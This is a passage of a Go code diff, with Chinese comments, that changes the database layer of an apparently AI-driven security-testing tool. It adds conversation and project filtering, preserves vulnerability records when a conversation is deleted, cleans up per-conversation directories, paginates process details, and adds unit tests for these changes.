+	where, args = appendConversationProjectFilter(where, args, projectID, "c")
+	args = append(args, limit, offset)
 	rows, err := db.Query(
 		`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
-			ungroupedConversationsSQL+`
-		 ORDER BY c.updated_at DESC
+			where+`
+		 `+orderClause+`
 		 LIMIT ? OFFSET ?`,
-		limit, offset,
+		args...,
 	)
 	if err != nil {
 		return nil, fmt.Errorf("查询未分组对话失败: %w", err)
@@ -518,6 +578,19 @@ func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, er
 	return conversations, rows.Err()
 }
 
+// GetConversationTitle 获取对话标题（轻量查询，不加载消息）
+func (db *DB) GetConversationTitle(id string) (string, error) {
+	var title string
+	err := db.QueryRow("SELECT title FROM conversations WHERE id = ?", id).Scan(&title)
+	if err != nil {
+		if err == sql.ErrNoRows {
+			return "", fmt.Errorf("对话不存在")
+		}
+		return "", fmt.Errorf("查询对话标题失败: %w", err)
+	}
+	return title, nil
+}
+
 // UpdateConversationTitle 更新对话标题
 func (db *DB) UpdateConversationTitle(id, title string) error {
 	// 注意：不更新 updated_at，因为重命名操作不应该改变对话的更新时间
@@ -543,39 +616,122 @@ func (db *DB) UpdateConversationTime(id string) error {
 	return nil
 }
 
-// DeleteConversation 删除对话及其所有相关数据
+// DeleteConversation 删除对话及其会话相关数据。
 // 由于数据库外键约束设置了 ON DELETE CASCADE，删除对话时会自动删除：
 // - messages（消息）
 // - process_details（过程详情）
 // - attack_chain_nodes（攻击链节点）
 // - attack_chain_edges（攻击链边）
-// - vulnerabilities（漏洞）
 // - conversation_group_mappings（分组映射）
-// 注意：knowledge_retrieval_logs 使用 ON DELETE SET NULL，记录会保留但 conversation_id 会被设为 NULL
+// 漏洞记录会保留：vulnerabilities.conversation_id 使用 ON DELETE SET NULL，仅解除与会话的关联。
+// 注意：knowledge_retrieval_logs 在删除前会被显式清理。
 func (db *DB) DeleteConversation(id string) error {
+	// 删除对话前补全漏洞来源标签，便于在漏洞库中追溯已删除会话的发现。
+	_, err := db.Exec(`
+		UPDATE vulnerabilities
+		SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
+		WHERE conversation_id = ?
+	`, id, id)
+	if err != nil {
+		db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
+	}
+
 	// 显式删除知识检索日志（虽然外键是SET NULL，但为了彻底清理，我们手动删除）
-	_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
+	_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
 	if err != nil {
 		db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
 		// 不返回错误，继续删除对话
 	}
 
+	projectID, _ := db.GetConversationProjectID(id)
+
 	// 删除对话（外键CASCADE会自动删除其他相关数据）
 	_, err = db.Exec("DELETE FROM conversations WHERE id = ?", id)
 	if err != nil {
 		return fmt.Errorf("删除对话失败: %w", err)
 	}
-	// Best-effort cleanup for conversation-scoped filesystem artifacts
-	// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
-	if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
-		artDir := filepath.Join(base, id)
-		if rmErr := os.RemoveAll(artDir); rmErr != nil {
-			db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
+	db.removeConversationScopedDirs(id, projectID)
+
+	db.logger.Info("对话已删除（漏洞记录已保留）", zap.String("conversationId", id))
+	return nil
+}
+
+func sanitizeConversationPathSegment(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "default"
+	}
+	s = strings.ReplaceAll(s, string(filepath.Separator), "-")
+	s = strings.ReplaceAll(s, "/", "-")
+	s = strings.ReplaceAll(s, "\\", "-")
+	s = strings.ReplaceAll(s, "..", "__")
+	if len(s) > 180 {
+		s = s[:180]
+	}
+	return s
+}
+
+func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
+	base = strings.TrimSpace(base)
+	if base == "" {
+		return
+	}
+	dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
+	if rmErr := os.RemoveAll(dir); rmErr != nil {
+		if db.logger != nil {
+			db.logger.Warn("删除会话目录失败",
+				zap.String("conversationId", conversationID),
+				zap.String("kind", label),
+				zap.String("dir", dir),
+				zap.Error(rmErr))
 		}
 	}
+}
 
-	db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
-	return nil
+func (db *DB) einoReductionBaseDir() string {
+	if db == nil {
+		return ""
+	}
+	if base := strings.TrimSpace(db.einoReductionRootDir); base != "" {
+		return base
+	}
+	return filepath.Join("tmp", "reduction")
+}
+
+func (db *DB) einoWorkspaceBaseDir() string {
+	if db == nil {
+		return ""
+	}
+	if base := strings.TrimSpace(db.einoWorkspaceRootDir); base != "" {
+		return base
+	}
+	return filepath.Join("tmp", "workspace")
+}
+
+func (db *DB) removeConversationScopedDirs(conversationID, projectID string) {
+	// summarization transcript, etc.
+	db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
+	// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
+	db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
+	// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
+	db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
+	// Eino reduction persisted tool outputs (tmp/reduction/conversations/<id>/).
+	// Project-bound sessions share projects/<id>/ — skip on single conversation delete.
+	if strings.TrimSpace(projectID) == "" {
+		reductionBase := filepath.Join(db.einoReductionBaseDir(), "conversations")
+		db.removeConversationScopedDir(reductionBase, conversationID, "reduction")
+		workspaceBase := filepath.Join(db.einoWorkspaceBaseDir(), "conversations")
+		db.removeConversationScopedDir(workspaceBase, conversationID, "workspace")
+	}
+}
+
+func (db *DB) removeProjectScopedDirs(projectID string) {
+	// Eino reduction persisted tool outputs (tmp/reduction/projects/<id>/).
+	reductionBase := filepath.Join(db.einoReductionBaseDir(), "projects")
+	db.removeConversationScopedDir(reductionBase, projectID, "reduction")
+	// Agent download/analysis workspace (tmp/workspace/projects/<id>/).
+	workspaceBase := filepath.Join(db.einoWorkspaceBaseDir(), "projects")
+	db.removeConversationScopedDir(workspaceBase, projectID, "workspace")
 }
 
 // SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
@@ -752,6 +908,62 @@ func (db *DB) GetMessages(conversationID string) ([]Message, error) {
 	return messages, nil
 }
 
+// GetMessagesLite 获取对话消息（不含 reasoning_content），用于历史会话快速切换。
+func (db *DB) GetMessagesLite(conversationID string) ([]Message, error) {
+	rows, err := db.Query(
+		"SELECT id, conversation_id, role, content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
+		conversationID,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询消息失败: %w", err)
+	}
+	defer rows.Close()
+
+	var messages []Message
+	for rows.Next() {
+		var msg Message
+		var mcpIDsJSON sql.NullString
+		var createdAt string
+		var updatedAt sql.NullString
+
+		if err := rows.Scan(&msg.ID, &msg.ConversationID, &msg.Role, &msg.Content, &mcpIDsJSON, &createdAt, &updatedAt); err != nil {
+			return nil, fmt.Errorf("扫描消息失败: %w", err)
+		}
+
+		var err error
+		msg.CreatedAt, err = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if err != nil {
+			msg.CreatedAt, err = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if err != nil {
+			msg.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		if updatedAt.Valid && strings.TrimSpace(updatedAt.String) != "" {
+			msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt.String)
+			if err != nil {
+				msg.UpdatedAt, err = time.Parse("2006-01-02 15:04:05", updatedAt.String)
+			}
+			if err != nil {
+				msg.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt.String)
+			}
+		}
+		if msg.UpdatedAt.IsZero() {
+			msg.UpdatedAt = msg.CreatedAt
+		}
+
+		if mcpIDsJSON.Valid && mcpIDsJSON.String != "" {
+			if err := json.Unmarshal([]byte(mcpIDsJSON.String), &msg.MCPExecutionIDs); err != nil {
+				db.logger.Warn("解析MCP执行ID失败", zap.Error(err))
+			}
+		}
+
+		messages = append(messages, msg)
+	}
+
+	return messages, nil
+}
+
 // turnSliceRange 根据任意一条消息 ID 定位「一轮对话」在 msgs 中的 [start, end) 下标区间（msgs 须已按时间升序，与 GetMessages 一致）。
 // 一轮 = 从某条 user 消息起，至下一条 user 之前（含中间所有 assistant）。
 func turnSliceRange(msgs []Message, anchorID string) (start, end int, err error) {
@@ -859,6 +1071,77 @@ type ProcessDetail struct {
 	CreatedAt      time.Time `json:"createdAt"`
 }
 
+// GetTurnUserMessage 返回锚点消息所在轮次中的用户原文（最近一条 user 消息，不含完整历史）。
+func (db *DB) GetTurnUserMessage(conversationID, anchorMessageID string) (string, error) {
+	conversationID = strings.TrimSpace(conversationID)
+	anchorMessageID = strings.TrimSpace(anchorMessageID)
+	if conversationID == "" || anchorMessageID == "" {
+		return "", nil
+	}
+	var content string
+	err := db.QueryRow(`
+SELECT m.content FROM messages m
+WHERE m.conversation_id = ? AND m.role = 'user'
+  AND m.created_at <= COALESCE((SELECT created_at FROM messages WHERE id = ? AND conversation_id = ?), m.created_at)
+ORDER BY m.created_at DESC, m.rowid DESC
+LIMIT 1`, conversationID, anchorMessageID, conversationID).Scan(&content)
+	if err != nil {
+		if errors.Is(err, sql.ErrNoRows) {
+			return "", nil
+		}
+		return "", fmt.Errorf("query turn user message: %w", err)
+	}
+	return content, nil
+}
+
+// AssistantCognitionTexts 单条助手消息上的思考/推理/规划文本。
+type AssistantCognitionTexts struct {
+	Thinking       string
+	ReasoningChain string
+	Planning       string
+}
+
+// GetAssistantCognitionTexts 聚合助手消息在 process_details 中的 thinking / reasoning_chain / planning。
+func (db *DB) GetAssistantCognitionTexts(assistantMessageID string) (AssistantCognitionTexts, error) {
+	assistantMessageID = strings.TrimSpace(assistantMessageID)
+	if assistantMessageID == "" {
+		return AssistantCognitionTexts{}, nil
+	}
+	rows, err := db.Query(`
+SELECT event_type, message FROM process_details
+WHERE message_id = ? AND event_type IN ('thinking', 'reasoning_chain', 'planning')
+ORDER BY created_at ASC, rowid ASC`, assistantMessageID)
+	if err != nil {
+		return AssistantCognitionTexts{}, fmt.Errorf("query assistant cognition: %w", err)
+	}
+	defer rows.Close()
+
+	var thinkingParts, reasoningParts, planningParts []string
+	for rows.Next() {
+		var eventType, message string
+		if err := rows.Scan(&eventType, &message); err != nil {
+			continue
+		}
+		msg := strings.TrimSpace(message)
+		if msg == "" {
+			continue
+		}
+		switch eventType {
+		case "thinking":
+			thinkingParts = append(thinkingParts, msg)
+		case "reasoning_chain":
+			reasoningParts = append(reasoningParts, msg)
+		case "planning":
+			planningParts = append(planningParts, msg)
+		}
+	}
+	return AssistantCognitionTexts{
+		Thinking:       strings.Join(thinkingParts, "\n\n"),
+		ReasoningChain: strings.Join(reasoningParts, "\n\n"),
+		Planning:       strings.Join(planningParts, "\n\n"),
+	}, nil
+}
+
 // AddProcessDetail 添加过程详情事件
 func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message string, data interface{}) error {
 	id := uuid.New().String()
@@ -920,6 +1203,107 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 	return details, nil
 }
 
+// ProcessDetailsSummary 过程详情摘要（用于折叠态展示，避免全量加载）。
+type ProcessDetailsSummary struct {
+	Total          int `json:"total"`
+	IterationCount int `json:"iterationCount"`
+	MaxIteration   int `json:"maxIteration"`
+}
+
+// GetProcessDetailsSummary 统计消息的过程详情数量与迭代轮次。
+func (db *DB) GetProcessDetailsSummary(messageID string) (*ProcessDetailsSummary, error) {
+	var total int
+	if err := db.QueryRow(
+		"SELECT COUNT(*) FROM process_details WHERE message_id = ?",
+		messageID,
+	).Scan(&total); err != nil {
+		return nil, fmt.Errorf("统计过程详情失败: %w", err)
+	}
+
+	summary := &ProcessDetailsSummary{Total: total}
+	if total == 0 {
+		return summary, nil
+	}
+
+	rows, err := db.Query(
+		"SELECT data FROM process_details WHERE message_id = ? AND event_type = 'iteration' ORDER BY created_at ASC, rowid ASC",
+		messageID,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询迭代详情失败: %w", err)
+	}
+	defer rows.Close()
+
+	maxIter := 0
+	iterCount := 0
+	for rows.Next() {
+		var dataJSON string
+		if err := rows.Scan(&dataJSON); err != nil {
+			return nil, fmt.Errorf("扫描迭代详情失败: %w", err)
+		}
+		iterCount++
+		if dataJSON == "" {
+			continue
+		}
+		var payload map[string]interface{}
+		if err := json.Unmarshal([]byte(dataJSON), &payload); err != nil {
+			continue
+		}
+		if n, ok := payload["iteration"].(float64); ok && int(n) > maxIter {
+			maxIter = int(n)
+		}
+	}
+	summary.IterationCount = iterCount
+	summary.MaxIteration = maxIter
+	return summary, nil
+}
+
+// GetProcessDetailsPage 分页获取消息的过程详情（按时间升序）。
+func (db *DB) GetProcessDetailsPage(messageID string, limit, offset int) ([]ProcessDetail, int, error) {
+	var total int
+	if err := db.QueryRow(
+		"SELECT COUNT(*) FROM process_details WHERE message_id = ?",
+		messageID,
+	).Scan(&total); err != nil {
+		return nil, 0, fmt.Errorf("统计过程详情失败: %w", err)
+	}
+	if total == 0 || offset >= total {
+		return nil, total, nil
+	}
+
+	rows, err := db.Query(
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC LIMIT ? OFFSET ?",
+		messageID, limit, offset,
+	)
+	if err != nil {
+		return nil, 0, fmt.Errorf("查询过程详情失败: %w", err)
+	}
+	defer rows.Close()
+
+	var details []ProcessDetail
+	for rows.Next() {
+		var detail ProcessDetail
+		var createdAt string
+
+		if err := rows.Scan(&detail.ID, &detail.MessageID, &detail.ConversationID, &detail.EventType, &detail.Message, &detail.Data, &createdAt); err != nil {
+			return nil, 0, fmt.Errorf("扫描过程详情失败: %w", err)
+		}
+
+		var parseErr error
+		detail.CreatedAt, parseErr = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if parseErr != nil {
+			detail.CreatedAt, parseErr = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if parseErr != nil {
+			detail.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		details = append(details, detail)
+	}
+
+	return details, total, nil
+}
+
 // GetProcessDetailsByConversation 获取对话的所有过程详情（按消息分组）
 func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
 	rows, err := db.Query(

internal/database/conversation_cleanup_test.go

@@ -0,0 +1,108 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
+	checkpointBase := filepath.Join(tmp, "eino-checkpoints")
+	reductionBase := filepath.Join(tmp, "reduction")
+	workspaceBase := filepath.Join(tmp, "workspace")
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase, reductionBase, workspaceBase)
+
+	conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	convID := conv.ID
+	seg := sanitizeConversationPathSegment(convID)
+	for _, base := range []struct {
+		root string
+		file string
+	}{
+		{db.conversationArtifactsDir, "transcript.txt"},
+		{plantaskBase, "task-1.json"},
+		{checkpointBase, "runner-deep.ckpt"},
+		{filepath.Join(reductionBase, "conversations"), "tool-output.txt"},
+		{filepath.Join(workspaceBase, "conversations"), "page.html"},
+	} {
+		dir := filepath.Join(base.root, seg)
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			t.Fatalf("mkdir %s: %v", dir, err)
+		}
+		if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
+			t.Fatalf("write %s: %v", base.file, err)
+		}
+	}
+
+	if err := db.DeleteConversation(convID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase, filepath.Join(reductionBase, "conversations"), filepath.Join(workspaceBase, "conversations")} {
+		dir := filepath.Join(base, seg)
+		if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
+			t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
+		}
+	}
+}
+
+func TestDeleteProjectRemovesReductionDir(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	reductionBase := filepath.Join(tmp, "reduction")
+	workspaceBase := filepath.Join(tmp, "workspace")
+	db.SetEinoConversationDirs("", "", reductionBase, workspaceBase)
+
+	project, err := db.CreateProject(&Project{Name: "cleanup test"})
+	if err != nil {
+		t.Fatalf("CreateProject: %v", err)
+	}
+	seg := sanitizeConversationPathSegment(project.ID)
+	reductionDir := filepath.Join(reductionBase, "projects", seg, "clear")
+	if err := os.MkdirAll(reductionDir, 0o755); err != nil {
+		t.Fatalf("mkdir %s: %v", reductionDir, err)
+	}
+	if err := os.WriteFile(filepath.Join(reductionDir, "call-1.txt"), []byte("x"), 0o644); err != nil {
+		t.Fatalf("write: %v", err)
+	}
+	workspaceDir := filepath.Join(workspaceBase, "projects", seg, "downloads")
+	if err := os.MkdirAll(workspaceDir, 0o755); err != nil {
+		t.Fatalf("mkdir %s: %v", workspaceDir, err)
+	}
+	if err := os.WriteFile(filepath.Join(workspaceDir, "app.js"), []byte("x"), 0o644); err != nil {
+		t.Fatalf("write workspace: %v", err)
+	}
+
+	if err := db.DeleteProject(project.ID); err != nil {
+		t.Fatalf("DeleteProject: %v", err)
+	}
+
+	projectReductionDir := filepath.Join(reductionBase, "projects", seg)
+	if _, statErr := os.Stat(projectReductionDir); !os.IsNotExist(statErr) {
+		t.Fatalf("expected removed dir %s, stat err=%v", projectReductionDir, statErr)
+	}
+	projectWorkspaceDir := filepath.Join(workspaceBase, "projects", seg)
+	if _, statErr := os.Stat(projectWorkspaceDir); !os.IsNotExist(statErr) {
+		t.Fatalf("expected removed dir %s, stat err=%v", projectWorkspaceDir, statErr)
+	}
+}

internal/database/conversation_project_filter_test.go

@@ -0,0 +1,60 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestConversationProjectFilter(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	p, err := db.CreateProject(&Project{Name: "target-a", Status: "active"})
+	if err != nil {
+		t.Fatalf("CreateProject: %v", err)
+	}
+
+	convNone, err := db.CreateConversation("unbound", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation unbound: %v", err)
+	}
+	convBound, err := db.CreateConversation("bound", ConversationCreateMeta{ProjectID: p.ID})
+	if err != nil {
+		t.Fatalf("CreateConversation bound: %v", err)
+	}
+
+	totalAll, err := db.CountConversations("", "")
+	if err != nil || totalAll < 2 {
+		t.Fatalf("CountConversations all: total=%d err=%v", totalAll, err)
+	}
+
+	totalBound, err := db.CountConversations("", p.ID)
+	if err != nil || totalBound != 1 {
+		t.Fatalf("CountConversations project: total=%d err=%v", totalBound, err)
+	}
+
+	totalUnbound, err := db.CountConversations("", ProjectFilterUnbound)
+	if err != nil || totalUnbound != 1 {
+		t.Fatalf("CountConversations unbound: total=%d err=%v", totalUnbound, err)
+	}
+
+	listBound, err := db.ListConversations(10, 0, "", "", p.ID)
+	if err != nil || len(listBound) != 1 || listBound[0].ID != convBound.ID {
+		t.Fatalf("ListConversations project: %+v err=%v", listBound, err)
+	}
+
+	listUnbound, err := db.ListConversations(10, 0, "", "", ProjectFilterUnbound)
+	if err != nil || len(listUnbound) != 1 || listUnbound[0].ID != convNone.ID {
+		t.Fatalf("ListConversations unbound: %+v err=%v", listUnbound, err)
+	}
+
+	_ = convNone
+	_ = convBound
+}

internal/database/conversation_vulnerability_test.go

@@ -0,0 +1,69 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-preserve.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+
+	vuln, err := db.CreateVulnerability(&Vulnerability{
+		ConversationID: conv.ID,
+		Title:          "SQL Injection",
+		Severity:       "high",
+		Status:         "open",
+	})
+	if err != nil {
+		t.Fatalf("CreateVulnerability: %v", err)
+	}
+
+	if err := db.DeleteConversation(conv.ID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	got, err := db.GetVulnerability(vuln.ID)
+	if err != nil {
+		t.Fatalf("GetVulnerability after delete: %v", err)
+	}
+	if got.Title != "SQL Injection" {
+		t.Fatalf("title = %q, want SQL Injection", got.Title)
+	}
+	if got.ConversationID != "" {
+		t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
+	}
+	if got.ConversationTag != "vuln source chat" {
+		t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
+	}
+}
+
+func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
+	}
+	if !ok {
+		t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
+	}
+}

internal/database/database.go

@@ -49,6 +49,10 @@ type DB struct {
 	*sql.DB
 	logger                   *zap.Logger
 	conversationArtifactsDir string
+	einoPlantaskBaseDir      string // skills_dir + plantask_rel_dir (per-conversation subdirs)
+	einoCheckpointBaseDir    string // checkpoint_dir root (per-conversation subdirs)
+	einoReductionRootDir     string // reduction_root_dir or default tmp/reduction (conversations/<id> subdirs)
+	einoWorkspaceRootDir     string // workspace_root_dir or default tmp/workspace (projects|conversations/<id> subdirs)
 	checkpointLoopName       string
 	checkpointStop           chan struct{}
 	checkpointDone           chan struct{}
@@ -155,6 +159,20 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
 	return database, nil
 }
 
+// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
+// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
+// reductionRoot is reduction_root_dir from config; empty uses tmp/reduction (conversation-scoped subdirs only).
+// workspaceRoot is agent.workspace_root_dir from config; empty uses tmp/workspace.
+func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase, reductionRoot, workspaceRoot string) {
+	if db == nil {
+		return
+	}
+	db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
+	db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
+	db.einoReductionRootDir = strings.TrimSpace(reductionRoot)
+	db.einoWorkspaceRootDir = strings.TrimSpace(workspaceRoot)
+}
+
 // initTables 初始化数据库表
 func (db *DB) initTables() error {
 	// 创建对话表（last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要，列名保留以兼容已有库）
@@ -341,11 +359,27 @@ func (db *DB) initTables() error {
 		UNIQUE(project_id, fact_key)
 	);`
 
+	// 项目事实关系边（黑板 DAG）
+	createProjectFactEdgesTable := `
+	CREATE TABLE IF NOT EXISTS project_fact_edges (
+		id TEXT PRIMARY KEY,
+		project_id TEXT NOT NULL,
+		source_fact_key TEXT NOT NULL,
+		target_fact_key TEXT NOT NULL,
+		edge_type TEXT NOT NULL,
+		confidence TEXT NOT NULL DEFAULT 'tentative',
+		source_conversation_id TEXT,
+		created_at DATETIME NOT NULL,
+		updated_at DATETIME NOT NULL,
+		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE,
+		UNIQUE(project_id, source_fact_key, target_fact_key, edge_type)
+	);`
+
 	// 创建漏洞表
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
 		id TEXT PRIMARY KEY,
-		conversation_id TEXT NOT NULL,
+		conversation_id TEXT,
 		conversation_tag TEXT,
 		task_tag TEXT,
 		title TEXT NOT NULL,
@@ -359,7 +393,8 @@ func (db *DB) initTables() error {
 		recommendation TEXT,
 		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
-		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
 	);`
 
 	// 创建批量任务队列表
@@ -376,6 +411,8 @@ func (db *DB) initTables() error {
 		last_schedule_trigger_at DATETIME,
 		last_schedule_error TEXT,
 		last_run_error TEXT,
+		project_id TEXT,
+		concurrency INTEGER NOT NULL DEFAULT 1,
 		status TEXT NOT NULL,
 		created_at DATETIME NOT NULL,
 		started_at DATETIME,
@@ -578,6 +615,9 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_project ON project_fact_edges(project_id);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_source ON project_fact_edges(project_id, source_fact_key);
+	CREATE INDEX IF NOT EXISTS idx_project_fact_edges_target ON project_fact_edges(project_id, target_fact_key);
 	CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
 	CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -659,6 +699,10 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建project_facts表失败: %w", err)
 	}
 
+	if _, err := db.Exec(createProjectFactEdgesTable); err != nil {
+		return fmt.Errorf("创建project_fact_edges表失败: %w", err)
+	}
+
 	if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
 		return fmt.Errorf("创建vulnerabilities表失败: %w", err)
 	}
@@ -725,6 +769,9 @@ func (db *DB) initTables() error {
 		db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
 		// 不返回错误，允许继续运行
 	}
+	if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
+		db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
+	}
 
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
@@ -1095,6 +1142,21 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
 		}
 	}
 
+	var concurrencyCount int
+	err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='concurrency'").Scan(&concurrencyCount)
+	if err != nil {
+		if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN concurrency INTEGER NOT NULL DEFAULT 1"); addErr != nil {
+			errMsg := strings.ToLower(addErr.Error())
+			if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
+				db.logger.Warn("添加batch_task_queues.concurrency字段失败", zap.Error(addErr))
+			}
+		}
+	} else if concurrencyCount == 0 {
+		if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN concurrency INTEGER NOT NULL DEFAULT 1"); err != nil {
+			db.logger.Warn("添加batch_task_queues.concurrency字段失败", zap.Error(err))
+		}
+	}
+
 	return nil
 }
 
@@ -1134,6 +1196,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
 	return err
 }
 
+// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL，删除对话时保留漏洞记录。
+func (db *DB) migrateVulnerabilitiesConversationFK() error {
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		return err
+	}
+	if ok {
+		return nil
+	}
+
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	const createNew = `
+	CREATE TABLE vulnerabilities_new (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT,
+		conversation_tag TEXT,
+		task_tag TEXT,
+		title TEXT NOT NULL,
+		description TEXT,
